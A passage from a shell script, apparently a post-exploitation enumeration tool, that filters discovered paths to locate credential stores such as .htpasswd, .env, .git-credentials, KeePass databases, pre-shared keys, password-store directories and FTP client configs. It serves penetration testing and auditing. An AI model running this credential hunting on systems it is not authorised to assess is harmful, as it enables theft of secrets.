"$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "httpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_HTPASSWD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.htpasswd$" | sort | uniq | head -n 70) + PSTORAGE_LDAPRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.ldaprc$" | sort | uniq | head -n 70) + PSTORAGE_ENV=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'example' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.env.*$" | sort | uniq | head -n 70) + PSTORAGE_MSMTPRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.msmtprc$" | sort | uniq | head -n 70) + PSTORAGE_INFLUXDB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70) + PSTORAGE_ZABBIX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70) + PSTORAGE_GITHUB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70) + PSTORAGE_SVN=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.svn$" | sort | uniq | head -n 70) + PSTORAGE_KEEPASS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70) + PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.psk$" | sort | uniq | head -n 70) + PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.password-store$" | sort | uniq | head -n 70) + PSTORAGE_FTP=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "vsftpd\.conf$|.*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70) + PSTORAGE_SAMBA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "smb\.conf$" | sort | uniq | head -n 70) + PSTORAGE_DNS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}var" | grep -E "bind$" | sort | uniq | head -n 70) + PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "seeddms.*$" | sort | uniq | head -n 70) + PSTORAGE_DDCLIENT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70) + PSTORAGE_KCPASSWORD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "kcpassword$" | sort | uniq | head -n 70) + PSTORAGE_SENTRY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70) + PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "environments$" | sort | uniq | head -n 70) + PSTORAGE_CACTI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "cacti$" | sort | uniq | head -n 70) + PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "roundcube$" | sort | uniq | head -n 70) + PSTORAGE_PASSBOLT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 